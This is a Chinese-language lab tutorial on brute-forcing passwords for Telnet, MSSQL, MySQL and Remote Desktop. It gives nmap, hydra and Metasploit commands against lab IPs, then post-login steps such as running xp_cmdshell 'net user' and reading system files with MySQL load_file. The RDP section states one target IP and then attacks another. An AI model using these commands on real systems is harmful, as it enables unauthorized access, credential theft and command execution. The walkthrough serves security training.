口令暴力破解--Telnet协议暴力破解、数据库暴力破解与远程桌面暴力破解

Telnet协议暴力破解

Telnet

       Telnet协议是TCP/IP协议族中的一员，是Internet远程登陆服务的标准协议和主要方式。它为用户提供了在本地计算机上完成远程主机工作的能力。要开始一个telnet会话，必须输入用户名和密码来登录服务器。而一般服务器不会对用户名和密码的登录尝试做限制，因此可以通过多次尝试密码的方式对Telnet服务器进行暴力破解。

Telnet协议暴力破解利用

靶机IP地址：193.168.1.27

打开NMAP，输入命令nmap -v -A -Pn 193.168.1.27，对该IP地址进行扫描。

使用hydra进行暴力破解。输入如下命令：

hydra 193.168.1.27 telnet -l admin -P /tmp/pass.txt -t 32 -s 23 –V

尝试登录telnet服务器，输入如下命令：

telnet 193.168.1.27 23，用户名密码分别输入admin和admin888

 登录服务器后可尝试一些常用系统命令，如ipconfig，查看回显。

数据库暴力破解

Mssql暴力破解原理

MSSQL是微软的SQLServer数据库服务器，是用于电子商务、业务线和数据仓库解决方案的数据库管理和分析系统。用户可以通过输入用户名和密码来登录数据库服务器。而一般服务器不会对用户名和密码的登录尝试做限制，因此可以通过多次尝试密码的方式对MSSQL服务器进行暴力破解。

MSSQL暴力破解漏洞利用

靶机IP地址：193.168.1.24

开启kali-linux虚拟机，打开命令行窗口运行NMAP，输入命令nmap -v -A -Pn 193.168.1.24，对该IP地址进行扫描。

使用Metasploit进行暴力破解。输入msfconsole打开Metasploit。

 输入search mssql_login，搜索mssql_login模块。

 输入use auxiliary/scanner/mssql/mssql_login，加载mssql_login模块。

 输入show options，显示mssql_login模块的参数。

 使用set命令设置暴力破解目标数据库的相关参数。

 输入exploit开始攻击，成功获取密码，为123456。

 输入select @@version，再输入go，成功获取目标数据库版本信息。

在mssql数据库中存在一个xp_cmdshell组件，利用该组件可以执行系统命令。输入如下命令：exec master.dbo.xp_cmdshell 'ipconfig'，再输入go，可以发现ipconfig成功执行，获取目标操作系统的ip信息。

 输入exec master.dbo.xp_cmdshell 'net user'，再输入go，成功获取目标操作系统账户信息。

Mysql暴力破解原理

        MySQL是一个关系型数据库管理系统，是目前最流行的关系型数据库管理系统。MySQL 是一种关联数据库管理系统，关联数据库将数据保存在不同的表中，而不是将所有数据放在一个大仓库内，这样就增加了速度并提高了灵活性。MySQL 所使用的 SQL 语言是用于访问数据库的最常用标准化语言。由于其体积小、速度快、总体拥有成本低，尤其是开放源码这一特点，一般中小型网站的开发都选择 MySQL 作为网站数据库。用户可以通过输入用户名和密码来登录数据库服务器。而一般服务器不会对用户名和密码的登录尝试做限制，因此可以通过多次尝试密码的方式对Mysql服务器进行暴力破解 

Mysql暴力破解漏洞利用

靶机IP地址：193.168.1.38

打开NMAP，输入命令nmap -v -A -Pn 193.168.1.38，对该IP地址进行扫描。

使用Metasploit进行暴力破解。输入msfconsole打开Metasploit。

 输入search mysql_login，搜索mysql_login模块。

 输入use auxiliary/scanner/mysql/mysql_login，加载mysql_login模块。

输入show options，显示mysql_login模块的参数。

使用set命令设置暴力破解目标数据库的相关参数。

 输入exploit开始攻击，成功获取密码，为admin888。

 在本机打开命令行，输入mysql -h 193.168.1.38 -u root –p，输入密码admin888，尝试登录mysql服务器。

输入show databases;（注意最后需加一个分号，分号为sql语句中的分隔符），获取数据库名。

 输入select load_file(‘C:\\boot.ini’);，读取C:\\boot.ini启动文件的内容。

 输入select ‘1111’ into dumpfile ’C:\\2.txt’;，在C盘下新建一个2.txt并向其中写入111。

 为证明确实创建了该文件，可再次利用load_file函数读取2.txt文件。输入select load_file(‘C:\\2.txt’);。 

远程桌面暴力破解

远程桌面暴力破解漏洞介绍

远程桌面协议介绍

远程桌面协议（RemoteDesktopProtocol）是让客户端连接远程服务器桌面的协议。3389端口是windows远程桌面服务的默认端口。一般用户可以通过管理员用户名密码访问开放3389端口的计算机的远程桌面进行管理。

远程桌面暴力破解漏洞产生

开放远程桌面协议服务

没有限制登录来源地址

没有限制密码错误次数

远程桌面暴力破解漏洞危害

3389端口很容易通过各种扫描工具得到，由于一些计算机使用者缺乏安全意识经常给administrator帐户设置弱密码，这样攻击者可以暴力破解获取密码后进一步控制计算机。

远程桌面暴力破解漏洞利用

靶机服务器地址：193.168.1.27

加载kali-linux虚拟机，打开命令行窗口，利用nmap扫描靶机端口服务。

nmap -v -A -Pn 193.168.1.25

接下来利用hydra工具暴力破解此远程桌面账户密码。

hydra 193.168.1.25 rdp -l admin -P /tmp/pass.txt -t 1 -V

成功获取登录远程桌面的密码，为admin888。

利用远程桌面连接工具登录此靶机服务器。

通过键盘上的win+R组合键打开“运行界面”，输入“mstsc”打开远程桌面连接界面。mstsc（Microsoft terminal services client）是微软远程服务客户端软件。

计算机名输入193.168.1.25，点击连接。

  输入上面获取的用户名和密码，点击“确定”登录。成功登上目标系统。